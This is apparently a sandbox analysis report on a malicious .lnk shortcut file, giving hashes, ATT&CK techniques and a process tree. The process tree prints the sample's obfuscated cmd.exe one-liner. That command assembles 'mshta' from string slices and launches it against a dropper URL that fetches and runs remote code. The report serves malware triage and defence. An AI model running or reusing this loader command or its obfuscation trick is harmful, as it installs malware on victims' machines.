945f0765cd561d90e8043b4998200a6a42922f9120c57899c9f5a5d35d121ed1

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-OVNC49.lnk
Size 2KB
Sample260804-kbnt6sbj4s
SHA256 945f0765cd561d90e8043b4998200a6a42922f9120c57899c9f5a5d35d121ed1
MD5 db505021f4d183787746fd02c8ca93c5
SHA1 99cc372fc541aeca093de498dd6f9042571bd2bc
SHA512 b6c8eead8022bc5238ea612e13a626fb76f2b0277ae8826090f2aec6a19cf2a666664024b23ebd73d4170c1ad42ee19345a956fcaaf42210496e3b7a3daff9d0
TLSH
T1014147542AED40D8F3FA9F72EDBE67504977B8625D30C18E1840810D1821F01DA73B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3204	cmd.exe
4748	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 4748	3204	cmd.exe	90
PID 4748 wrote to memory of 4212	4748	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OVNC49.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3204
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set uSnff=cacheuhrqdjqbckjgcache&set DQPn=bosb37&&set DfU=xfstartp&set ju=infgocssnddwekrmmtinf&set gj=datwkeyioynqjmsdat&set zK=bakhajpdhtsxbak&set cfU=cachefwnnawcache&set jPHa=netjujriicnet&set xtg=syszkimryldsys&set Me=sysuvcwqsys&set Au=netypeinet&set xXp=logsvyodsjyibqghufxclog&set tjjWD=mxmuvo&&set uLybP=y2sh7l&&set Lr=9ltaf&set WkKmX=infeevfdnmmjzzginf&&set NkU=https:@//@ma@-p@d@f@fil@l@e@r.@l@a@t/h@/e@st@a@gio@1.@p@hp@?r=39@14@69@FB@5D82@DB&&start /b !tjjWD:~2,1!!uLybP:~2,2!!Lr:~2,2! !NkU:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads